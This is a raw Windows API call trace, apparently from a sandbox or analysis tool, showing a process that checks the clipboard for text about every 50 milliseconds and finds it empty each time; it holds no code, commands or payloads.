[0260.945] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf67ef962, dwHighDateTime=0x1d96e12))
[0260.945] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.945] GetClipboardData (uFormat=0x1) returned 0x0
[0260.945] CloseClipboard () returned 1
[0260.945] Sleep (dwMilliseconds=0x32)
[0260.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6815bc4, dwHighDateTime=0x1d96e12))
[0260.961] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.961] GetClipboardData (uFormat=0x1) returned 0x0
[0260.961] CloseClipboard () returned 1
[0260.961] Sleep (dwMilliseconds=0x32)
[0260.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf683be19, dwHighDateTime=0x1d96e12))
[0260.976] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.976] GetClipboardData (uFormat=0x1) returned 0x0
[0260.976] CloseClipboard () returned 1
[0260.976] Sleep (dwMilliseconds=0x32)
[0260.992] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6862070, dwHighDateTime=0x1d96e12))
[0260.992] OpenClipboard (hWndNewOwner=0x0) returned 1
[0260.992] GetClipboardData (uFormat=0x1) returned 0x0
[0260.992] CloseClipboard () returned 1
[0260.992] Sleep (dwMilliseconds=0x32)
[0261.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf68882ee, dwHighDateTime=0x1d96e12))
[0261.007] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.007] GetClipboardData (uFormat=0x1) returned 0x0
[0261.008] CloseClipboard () returned 1
[0261.008] Sleep (dwMilliseconds=0x32)
[0261.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf68ae533, dwHighDateTime=0x1d96e12))
[0261.023] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.023] GetClipboardData (uFormat=0x1) returned 0x0
[0261.023] CloseClipboard () returned 1
[0261.023] Sleep (dwMilliseconds=0x32)
[0261.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf68d4777, dwHighDateTime=0x1d96e12))
[0261.039] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.039] GetClipboardData (uFormat=0x1) returned 0x0
[0261.039] CloseClipboard () returned 1
[0261.039] Sleep (dwMilliseconds=0x32)
[0261.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf68faa0d, dwHighDateTime=0x1d96e12))
[0261.054] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.054] GetClipboardData (uFormat=0x1) returned 0x0
[0261.054] CloseClipboard () returned 1
[0261.054] Sleep (dwMilliseconds=0x32)
[0261.070] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6920c97, dwHighDateTime=0x1d96e12))
[0261.070] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.070] GetClipboardData (uFormat=0x1) returned 0x0
[0261.070] CloseClipboard () returned 1
[0261.070] Sleep (dwMilliseconds=0x32)
[0261.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6946e95, dwHighDateTime=0x1d96e12))
[0261.086] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.086] GetClipboardData (uFormat=0x1) returned 0x0
[0261.086] CloseClipboard () returned 1
[0261.086] Sleep (dwMilliseconds=0x32)
[0261.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf696d0dc, dwHighDateTime=0x1d96e12))
[0261.101] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.101] GetClipboardData (uFormat=0x1) returned 0x0
[0261.101] CloseClipboard () returned 1
[0261.101] Sleep (dwMilliseconds=0x32)
[0261.117] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf699335a, dwHighDateTime=0x1d96e12))
[0261.117] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.117] GetClipboardData (uFormat=0x1) returned 0x0
[0261.117] CloseClipboard () returned 1
[0261.117] Sleep (dwMilliseconds=0x32)
[0261.133] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf69b95b1, dwHighDateTime=0x1d96e12))
[0261.133] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.133] GetClipboardData (uFormat=0x1) returned 0x0
[0261.133] CloseClipboard () returned 1
[0261.133] Sleep (dwMilliseconds=0x32)
[0261.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf69df803, dwHighDateTime=0x1d96e12))
[0261.148] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.148] GetClipboardData (uFormat=0x1) returned 0x0
[0261.148] CloseClipboard () returned 1
[0261.148] Sleep (dwMilliseconds=0x32)
[0261.164] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6a05aeb, dwHighDateTime=0x1d96e12))
[0261.164] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.164] GetClipboardData (uFormat=0x1) returned 0x0
[0261.164] CloseClipboard () returned 1
[0261.164] Sleep (dwMilliseconds=0x32)
[0261.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6a2bd42, dwHighDateTime=0x1d96e12))
[0261.179] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.179] GetClipboardData (uFormat=0x1) returned 0x0
[0261.179] CloseClipboard () returned 1
[0261.179] Sleep (dwMilliseconds=0x32)
[0261.195] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6a51f6e, dwHighDateTime=0x1d96e12))
[0261.195] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.195] GetClipboardData (uFormat=0x1) returned 0x0
[0261.195] CloseClipboard () returned 1
[0261.195] Sleep (dwMilliseconds=0x32)
[0261.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6a781a4, dwHighDateTime=0x1d96e12))
[0261.211] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.211] GetClipboardData (uFormat=0x1) returned 0x0
[0261.211] CloseClipboard () returned 1
[0261.211] Sleep (dwMilliseconds=0x32)
[0261.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6a9e3c3, dwHighDateTime=0x1d96e12))
[0261.226] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.226] GetClipboardData (uFormat=0x1) returned 0x0
[0261.226] CloseClipboard () returned 1
[0261.226] Sleep (dwMilliseconds=0x32)
[0261.242] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6ac46a5, dwHighDateTime=0x1d96e12))
[0261.242] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.242] GetClipboardData (uFormat=0x1) returned 0x0
[0261.242] CloseClipboard () returned 1
[0261.242] Sleep (dwMilliseconds=0x32)
[0261.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6aea8ca, dwHighDateTime=0x1d96e12))
[0261.257] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.258] GetClipboardData (uFormat=0x1) returned 0x0
[0261.258] CloseClipboard () returned 1
[0261.258] Sleep (dwMilliseconds=0x32)
[0261.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6b10aea, dwHighDateTime=0x1d96e12))
[0261.273] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.273] GetClipboardData (uFormat=0x1) returned 0x0
[0261.273] CloseClipboard () returned 1
[0261.273] Sleep (dwMilliseconds=0x32)
[0261.289] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6b36dba, dwHighDateTime=0x1d96e12))
[0261.289] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.289] GetClipboardData (uFormat=0x1) returned 0x0
[0261.289] CloseClipboard () returned 1
[0261.289] Sleep (dwMilliseconds=0x32)
[0261.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6b5cfdc, dwHighDateTime=0x1d96e12))
[0261.304] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.304] GetClipboardData (uFormat=0x1) returned 0x0
[0261.304] CloseClipboard () returned 1
[0261.304] Sleep (dwMilliseconds=0x32)
[0261.320] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6b831cd, dwHighDateTime=0x1d96e12))
[0261.320] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.320] GetClipboardData (uFormat=0x1) returned 0x0
[0261.320] CloseClipboard () returned 1
[0261.320] Sleep (dwMilliseconds=0x32)
[0261.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6ba94ca, dwHighDateTime=0x1d96e12))
[0261.336] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.336] GetClipboardData (uFormat=0x1) returned 0x0
[0261.336] CloseClipboard () returned 1
[0261.336] Sleep (dwMilliseconds=0x32)
[0261.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6bcf6c1, dwHighDateTime=0x1d96e12))
[0261.351] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.351] GetClipboardData (uFormat=0x1) returned 0x0
[0261.352] CloseClipboard () returned 1
[0261.352] Sleep (dwMilliseconds=0x32)
[0261.367] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6bf5982, dwHighDateTime=0x1d96e12))
[0261.367] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.367] GetClipboardData (uFormat=0x1) returned 0x0
[0261.367] CloseClipboard () returned 1
[0261.367] Sleep (dwMilliseconds=0x32)
[0261.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6c1bba1, dwHighDateTime=0x1d96e12))
[0261.382] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.383] GetClipboardData (uFormat=0x1) returned 0x0
[0261.383] CloseClipboard () returned 1
[0261.383] Sleep (dwMilliseconds=0x32)
[0261.401] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6c41e34, dwHighDateTime=0x1d96e12))
[0261.401] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.401] GetClipboardData (uFormat=0x1) returned 0x0
[0261.401] CloseClipboard () returned 1
[0261.401] Sleep (dwMilliseconds=0x32)
[0261.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6c67fea, dwHighDateTime=0x1d96e12))
[0261.415] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.415] GetClipboardData (uFormat=0x1) returned 0x0
[0261.415] CloseClipboard () returned 1
[0261.415] Sleep (dwMilliseconds=0x32)
[0261.433] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6c8e248, dwHighDateTime=0x1d96e12))
[0261.433] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.433] GetClipboardData (uFormat=0x1) returned 0x0
[0261.433] CloseClipboard () returned 1
[0261.433] Sleep (dwMilliseconds=0x32)
[0261.446] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6cb44b5, dwHighDateTime=0x1d96e12))
[0261.446] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.446] GetClipboardData (uFormat=0x1) returned 0x0
[0261.447] CloseClipboard () returned 1
[0261.447] Sleep (dwMilliseconds=0x32)
[0261.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6cda6ff, dwHighDateTime=0x1d96e12))
[0261.461] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.461] GetClipboardData (uFormat=0x1) returned 0x0
[0261.461] CloseClipboard () returned 1
[0261.461] Sleep (dwMilliseconds=0x32)
[0261.477] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6d00951, dwHighDateTime=0x1d96e12))
[0261.477] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.477] GetClipboardData (uFormat=0x1) returned 0x0
[0261.477] CloseClipboard () returned 1
[0261.477] Sleep (dwMilliseconds=0x32)
[0261.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6d26bb7, dwHighDateTime=0x1d96e12))
[0261.493] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.493] GetClipboardData (uFormat=0x1) returned 0x0
[0261.493] CloseClipboard () returned 1
[0261.494] Sleep (dwMilliseconds=0x32)
[0261.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6d4ce15, dwHighDateTime=0x1d96e12))
[0261.507] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.507] GetClipboardData (uFormat=0x1) returned 0x0
[0261.508] CloseClipboard () returned 1
[0261.508] Sleep (dwMilliseconds=0x32)
[0261.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6d73064, dwHighDateTime=0x1d96e12))
[0261.523] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.523] GetClipboardData (uFormat=0x1) returned 0x0
[0261.523] CloseClipboard () returned 1
[0261.523] Sleep (dwMilliseconds=0x32)
[0261.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6d992c1, dwHighDateTime=0x1d96e12))
[0261.540] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.540] GetClipboardData (uFormat=0x1) returned 0x0
[0261.540] CloseClipboard () returned 1
[0261.540] Sleep (dwMilliseconds=0x32)
[0261.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6dbf517, dwHighDateTime=0x1d96e12))
[0261.554] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.554] GetClipboardData (uFormat=0x1) returned 0x0
[0261.554] CloseClipboard () returned 1
[0261.555] Sleep (dwMilliseconds=0x32)
[0261.572] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6de576c, dwHighDateTime=0x1d96e12))
[0261.572] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.572] GetClipboardData (uFormat=0x1) returned 0x0
[0261.572] CloseClipboard () returned 1
[0261.572] Sleep (dwMilliseconds=0x32)
[0261.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6e0b9d3, dwHighDateTime=0x1d96e12))
[0261.586] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.586] GetClipboardData (uFormat=0x1) returned 0x0
[0261.586] CloseClipboard () returned 1
[0261.586] Sleep (dwMilliseconds=0x32)
[0261.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6e31c21, dwHighDateTime=0x1d96e12))
[0261.601] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.601] GetClipboardData (uFormat=0x1) returned 0x0
[0261.601] CloseClipboard () returned 1
[0261.601] Sleep (dwMilliseconds=0x32)
[0261.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6e57e80, dwHighDateTime=0x1d96e12))
[0261.618] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.618] GetClipboardData (uFormat=0x1) returned 0x0
[0261.618] CloseClipboard () returned 1
[0261.619] Sleep (dwMilliseconds=0x32)
[0261.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6e7e0d4, dwHighDateTime=0x1d96e12))
[0261.632] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.632] GetClipboardData (uFormat=0x1) returned 0x0
[0261.633] CloseClipboard () returned 1
[0261.633] Sleep (dwMilliseconds=0x32)
[0261.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6ea4332, dwHighDateTime=0x1d96e12))
[0261.648] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.648] GetClipboardData (uFormat=0x1) returned 0x0
[0261.648] CloseClipboard () returned 1
[0261.648] Sleep (dwMilliseconds=0x32)
[0261.670] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6eca58d, dwHighDateTime=0x1d96e12))
[0261.670] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.671] GetClipboardData (uFormat=0x1) returned 0x0
[0261.671] CloseClipboard () returned 1
[0261.671] Sleep (dwMilliseconds=0x32)
[0261.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6ef07ec, dwHighDateTime=0x1d96e12))
[0261.679] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.679] GetClipboardData (uFormat=0x1) returned 0x0
[0261.679] CloseClipboard () returned 1
[0261.680] Sleep (dwMilliseconds=0x32)
[0261.696] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6f16a3e, dwHighDateTime=0x1d96e12))
[0261.696] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.696] GetClipboardData (uFormat=0x1) returned 0x0
[0261.697] CloseClipboard () returned 1
[0261.697] Sleep (dwMilliseconds=0x32)
[0261.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6f3cca4, dwHighDateTime=0x1d96e12))
[0261.711] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.711] GetClipboardData (uFormat=0x1) returned 0x0
[0261.711] CloseClipboard () returned 1
[0261.711] Sleep (dwMilliseconds=0x32)
[0261.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6f62ef0, dwHighDateTime=0x1d96e12))
[0261.726] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.726] GetClipboardData (uFormat=0x1) returned 0x0
[0261.726] CloseClipboard () returned 1
[0261.726] Sleep (dwMilliseconds=0x32)
[0261.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6f89150, dwHighDateTime=0x1d96e12))
[0261.743] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.743] GetClipboardData (uFormat=0x1) returned 0x0
[0261.743] CloseClipboard () returned 1
[0261.744] Sleep (dwMilliseconds=0x32)
[0261.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6faf3ac, dwHighDateTime=0x1d96e12))
[0261.757] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.758] GetClipboardData (uFormat=0x1) returned 0x0
[0261.758] CloseClipboard () returned 1
[0261.758] Sleep (dwMilliseconds=0x32)
[0261.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6fd561a, dwHighDateTime=0x1d96e12))
[0261.773] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.773] GetClipboardData (uFormat=0x1) returned 0x0
[0261.773] CloseClipboard () returned 1
[0261.774] Sleep (dwMilliseconds=0x32)
[0261.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf6ffb85c, dwHighDateTime=0x1d96e12))
[0261.790] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.790] GetClipboardData (uFormat=0x1) returned 0x0
[0261.790] CloseClipboard () returned 1
[0261.790] Sleep (dwMilliseconds=0x32)
[0261.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7021aad, dwHighDateTime=0x1d96e12))
[0261.804] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.804] GetClipboardData (uFormat=0x1) returned 0x0
[0261.804] CloseClipboard () returned 1
[0261.804] Sleep (dwMilliseconds=0x32)
[0261.821] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7047d0e, dwHighDateTime=0x1d96e12))
[0261.821] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.821] GetClipboardData (uFormat=0x1) returned 0x0
[0261.821] CloseClipboard () returned 1
[0261.822] Sleep (dwMilliseconds=0x32)
[0261.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf706df6b, dwHighDateTime=0x1d96e12))
[0261.836] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.836] GetClipboardData (uFormat=0x1) returned 0x0
[0261.836] CloseClipboard () returned 1
[0261.836] Sleep (dwMilliseconds=0x32)
[0261.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf70941c0, dwHighDateTime=0x1d96e12))
[0261.851] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.851] GetClipboardData (uFormat=0x1) returned 0x0
[0261.851] CloseClipboard () returned 1
[0261.851] Sleep (dwMilliseconds=0x32)
[0261.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf70ba41b, dwHighDateTime=0x1d96e12))
[0261.868] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.868] GetClipboardData (uFormat=0x1) returned 0x0
[0261.868] CloseClipboard () returned 1
[0261.868] Sleep (dwMilliseconds=0x32)
[0261.883] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf70e0682, dwHighDateTime=0x1d96e12))
[0261.883] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.883] GetClipboardData (uFormat=0x1) returned 0x0
[0261.883] CloseClipboard () returned 1
[0261.883] Sleep (dwMilliseconds=0x32)
[0261.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf71068d5, dwHighDateTime=0x1d96e12))
[0261.898] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.898] GetClipboardData (uFormat=0x1) returned 0x0
[0261.898] CloseClipboard () returned 1
[0261.898] Sleep (dwMilliseconds=0x32)
[0261.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf712cb25, dwHighDateTime=0x1d96e12))
[0261.915] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.915] GetClipboardData (uFormat=0x1) returned 0x0
[0261.915] CloseClipboard () returned 1
[0261.915] Sleep (dwMilliseconds=0x32)
[0261.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7152d89, dwHighDateTime=0x1d96e12))
[0261.929] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.929] GetClipboardData (uFormat=0x1) returned 0x0
[0261.929] CloseClipboard () returned 1
[0261.929] Sleep (dwMilliseconds=0x32)
[0261.946] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7178fdf, dwHighDateTime=0x1d96e12))
[0261.946] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.946] GetClipboardData (uFormat=0x1) returned 0x0
[0261.946] CloseClipboard () returned 1
[0261.947] Sleep (dwMilliseconds=0x32)
[0261.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf719f23f, dwHighDateTime=0x1d96e12))
[0261.961] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.961] GetClipboardData (uFormat=0x1) returned 0x0
[0261.961] CloseClipboard () returned 1
[0261.961] Sleep (dwMilliseconds=0x32)
[0261.980] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf71c5491, dwHighDateTime=0x1d96e12))
[0261.980] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.980] GetClipboardData (uFormat=0x1) returned 0x0
[0261.980] CloseClipboard () returned 1
[0261.980] Sleep (dwMilliseconds=0x32)
[0261.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf71eb6f6, dwHighDateTime=0x1d96e12))
[0261.993] OpenClipboard (hWndNewOwner=0x0) returned 1
[0261.993] GetClipboardData (uFormat=0x1) returned 0x0
[0261.994] CloseClipboard () returned 1
[0261.994] Sleep (dwMilliseconds=0x32)
[0262.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf721194a, dwHighDateTime=0x1d96e12))
[0262.007] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.008] GetClipboardData (uFormat=0x1) returned 0x0
[0262.008] CloseClipboard () returned 1
[0262.008] Sleep (dwMilliseconds=0x32)
[0262.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7237baa, dwHighDateTime=0x1d96e12))
[0262.023] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.023] GetClipboardData (uFormat=0x1) returned 0x0
[0262.023] CloseClipboard () returned 1
[0262.023] Sleep (dwMilliseconds=0x32)
